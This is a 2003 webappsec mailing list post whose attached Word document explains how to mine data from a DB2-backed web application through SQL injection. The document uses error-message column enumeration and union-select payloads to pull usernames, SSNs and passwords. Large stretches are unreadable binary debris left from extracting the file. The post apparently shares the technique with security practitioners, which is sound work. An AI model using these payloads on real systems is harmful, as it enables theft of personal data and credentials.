[prev in list] [next in list] [prev in thread] [next in thread]
List: webappsec
Subject: DB2 database mining with SQL injection
From: fr0stman <fr0stman () sun-tzu-security ! net>
Date: 2003-08-25 20:53:55
[Download RAW message or body]
Attached is a write up on how to mine data from DB2 with SQL injection.
This is most likely not the most efficient way to do this but hey it
works. Please by all means contribute other methods.
--
-- fr0stman --
Victorious warriors win first and then go to war, while defeated
warriors go to war first and then seek to win.
Sun-tzu, The Art of War. Strategic Assessments
["DB2 database mining with SQL injection.doc" (DB2 database mining with SQL injection.doc)]
аЯрЁБс > ўџ / 1 ўџџџ . џџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџьЅС \
U@ №П м bjbjЌЌ "" Юё Юё м \
џџ џџ џџ 2 2 2 \
2 2 2 2 F N N N N j \
F ѕ * t \
v v v v v v $ R q Ќ \
2 \
2 2 Џ 2 \
2 t \
t , 2 2 \
, 0ЖЌHkУ \
N А а , t Х 0 ѕ , \
, F F 2 2 2 2 \
2 , H F F Є ъ
d F F ъ
\
\
\
\
\
\
\
\
How \
to mine data from a DB2 database with SQL injection
I have to start by saying this is nothing new Im just trying to explain how its \
working for me. ( Im sure there are better methods of doing this and please by all \
means revise the document and contribute it back to the community. Portions of this \
write up were taken from SPI Dynamics SQL injection papers and OWASPs papers on SQL \
injection. Many thanks to all of those guys.
Scenario:
You have a web application that is vulnerable to SQL injection. The backend database \
is DB2 and detailed error messages are turned on. The vulnerable web app is using the \
following SQL statement to determine if the user can login:
Select * from applogin where name = username and password = password;
If you enter:
Username = or 1=1
You get a page stating:
Welcome Bob
So now we know Bob is the first user in the database and the application is \
displaying the username in the HTML when we login.
Time to get the rest of the columns:
Username = group by 1
An expression starting with "NAME" specified in a SELECT clause<snip>
Username = group by name
An expression starting with "SOCIAL_SECURITY_NO" specified in a SELECT clause<snip>
and we continue this until all columns are obtained and there are no more detailed \
error messages. Now we need the final piece which is the table name so were going to \
try and brute force some of the SQL statement:
Username = or
An unexpected token "from applogin where name = '' OR" was found<snip>
We got the applogin table name.
Note:
Other values to try to brute the table name portion: (Taken from SPI Dynamics SQL \
injection paper).
Badvalue
or
or
;
9,9,9
Now we have all the columns and the tablename. Lets get the data. We cant use the \
old tricks of sum(varchar), etc like in MSSQL since DB2 wont display the data in the \
error. We use the function concat and since the variable name is displayed in the \
HTML when we login well concatenate the two columns we want as the variable name \
and view it as the application displays it in the HTML.
The statement below is showing we enumerated 4 columns with the:
Username = group by name,social_security_no,comments,password
The as are placeholders to match up the correct number of columns so we dont get a \
lame error telling us we didnt match up the columns. Now ee put the following in:
Username = ' union all select concat(name,social_security_no) as name ,'a','a','a' \
from applogin where social_security_no > '1';
You get a page stating:
Welcome Bob123456789
Where Bob is the username and 123456789 the SSN. This can be done to mine all the \
data with changing the statement around such as:
Username = ' union all select concat(name,password) as name ,'a','a','a' from \
applogin where name > 'c';
You get a page stating:
Welcome joeqwerty
Where joe is the username and qwerty is the password. As I said above questions or \
comments on how to do this better are welcome. I can be contacted at:
fr0stman@sun-tzu-security.net
7 : ; V ` d r $ 5 > Ж З \
Ф Э Я п ч
%
I
J
b
o
y
}
Љ
6 A C R S Ї В I J h іяшфрфрмрефмфмфЮяЧУмфмфУфУфУмУмУмУЗЎ \
УфУЊУsУ hм!ю B*CJ OJ QJ aJ ph (h d hм!ю 5B*CJ OJ QJ aJ ph "h d 5B*CJ OJ QJ aJ ph h8a hм!ю 5CJ \
aJ hм!ю hм!ю 5CJ aJ \
hм!ю hИ\§ 5>* h d h d j J№h d hЬXX h d hИ\§ h d 5>* hм!ю 5>* hм!ю hм!ю 5>*- 8 9 : ; З И У Ф Ћ
Ќ
і
ї
4 5 B C \
У ш щ I J ї ї ї ї ђ \
ї э э э э э \
э э э э э э э \
э э э э э э э \
э э gdм!ю gd d $a$gdм!ю \
м § \
\
\
\
\
J K g h М Н О
Љ
Њ
ё
ђ
} ~ ) * k l њ њ \
њ њ њ њ њ њ њ \
њ њ њ ѕ ѕ ѕ \
ѕ ѕ ѕ ѕ ѕ ѕ ѕ \
ѕ њ њ њ њ њ gdы gdм!ю h М О й
!
P
Њ
ё
ђ
і
љ
Й ж л т щ R W d М Ъ в щ № ' ( ) * = i w Ћ Ќ Џ б 9 ылзгзЯзЫЧЯгЯЧВ \
ЧЧЯЯЧЫЯЫЯЫЯгЯЫЯЫЫЫгЫЫзЯЯ h d hq \
h)UG hИ\§ hИ\§ 5h8a "hы 5B*CJ OJ QJ aJ ph (hы hы 5 \
B*CJ OJ QJ aJ ph hы hh№ hИ\§ hЬXX hм!ю hм!ю B*CJ OJ QJ \
aJ ph (h d hм!ю 5B*CJ OJ QJ aJ ph 5l Ў V W и й к ђ ѓ
ї ј # $ Н О м њ њ њ \
њ њ њ њ њ њ њ \
њ ѕ ѕ № № № ѕ \
ч ч њ њ њ \
а^аgdЭ#ж gdЭ#ж gd d gdм!ю 9 > U V b з и є џ
; И Р ы є і " # $ % Y М Н м ќј \
є№щ№єндаєЬєЬХЬХЬХЬЙАдЉаЅќЁќ \
hм!ю h t h d h t hЭ#ж 5CJ \
aJ hм!ю hЭ#ж 5CJ aJ h d hЭ#ж hЭ#ж hv^ h d 5CJ aJ \
hм!ю h d 5CJ aJ h d h d hh№ h d hИ\§ h8a 1h Аа/ \
Ар=!А"А# $ %А \
\
\
\
\
\
@ @ёџ @ N o r m a l CJ _HaJ mH sH tH D A@ђџЁ D D e f a u l t \
P a r a g r a p h F o n t R i@ѓџГ R T a b l e \
N o r m a l і 4ж l 4ж aі ( k@єџС ( N o \
L i s t м " \
џџџџ 8 9 : ; З И У Ф Ћ Ќ і ї 4 5 B C \
У ш щ I J K g h М Н О Љ Њ ё ђ \
} ~ ) * k l Ў V W и й к ђ ѓ
ї
ј
# $ Н О о 0 8 0 x \
0 0 x 0 \
0 x 0 0 \
0 0 x 0 0 \
0 0 0 \
0 x 0 x 0 \
0 x 0 0 0 \
0 0 x 0 \
0 0 0 \
0 0 0 \
0 0 \
0 0 0 0 \
0 0 0 \
0 0 0 0 0 \
0 0 0 \
0 0 x 0 \
0 0 0 \
0 0 x 0 0 x 0 0 \
0 0 0 \
0 0 0 \
0 0 0 \
0 0 x 0 \
0 0 0 \
0 0 0 \
У ш щ I J K g h М Н О Љ Њ ђ V W и к ђ ѓ
ї
ј
# $ о ;0
hl
;0
;0 §џџџ
;0 ;0
єl
;0
;0 §џџџ §џџџ
;0
є
;0
;0
џџџџ
;0 џџџџ §џџџ ; \
0 џџџџ §џџџ \
;0 ;0 §џџџ §џџџ
;0
;0 ;0
Дє;0
;0
;0
{0 џџџџ §џџџ 0 §џџџ 0 ;0$
@5O h 9 м
J l м
м t { К Ф Ь § \
Ы d j Ћ В Е = ? u { | Ј Џ З О а Ќ
В
Г
Р
Ь
е
м
ф
" * - О л о \
Ж є ћ V ] О С Ђ І w ~ Ў Е u |
:
Ќ
Г
* - О о 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 6 A щ K f Њ ~ 9 W є
І Н О л о О л о џџ f r o s t х t q
8a )UG ЬXX d v^ \
ы Э#ж м!ю h№ И\§ џ@ л л Є:G G л л м А @ џџ \
U n k n o w n џџ џџ џџ џџ џџ џџ G z \
џ T i m e s N e w \
R o m a n 5 S y m b o l 3& z \
џ A r i a l ; W i n g d i n g s 7& \
V e r d a n a " q №а h жЫx&$Ьx& J Х
Х
! № \
\
\
Д Д 24 ж ж \
3 № H )№џ ? ф џџџџџџџџџџџџџџџџџџџџџм!ю џџ 7 H o w \
t o m i n e d a t a f r o m a D B 2 d a t a b a s e w i t h S Q L \
i n j e c t i o n f r o s t f r o s t \
\
\
ўџ р
ђљOhЋ +'Гй0 и ф є \
0 < X d
p | ф 8 How to mine data from a DB2 \
database with SQL injection ow frost \
m ros ros Normal.dot \
frost .d 10 s Microsoft Word 10.0 @ <rV \
@ ќ(>kУ@ 8v~HkУ Х \
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
ўџ еЭе. +,љЎ0 \
h p | Є Ќ Д
М ф IBM ж {
8 How to mine data from a DB2 database \
with SQL injection Title \
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
ўџџџ ўџџџ \
! " # $ % ўџџџ' ( ) * + , - ўџџџ§џџџ0 ўџџџўџџџўџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџR o o t \
E n t r y џџџџџџџџ Р \
F PРHkУ2 1 T a b l e \
џџџџ џџџџ W o r d D o \
c u m e n t џџџџџџџџ \
"" S u m m a r y I n f o r m a t i o n \
( џџџџ D o c u m e \
n t S u m m a r y I n f o r m a t i o n 8 џџџџџџџџџџџџ \
& C o m p O b j \
џџџџџџџџџџџџ j \
џџџџџџџџџџџџ \
\
џџџџџџџџџџџџ ўџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ \
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ ўџ
џџџџ Р F Microsoft Word Document
MSWordDoc Word.Document.8 є9Вq \
\
\
\
[prev in list] [next in list] [prev in thread] [next in thread]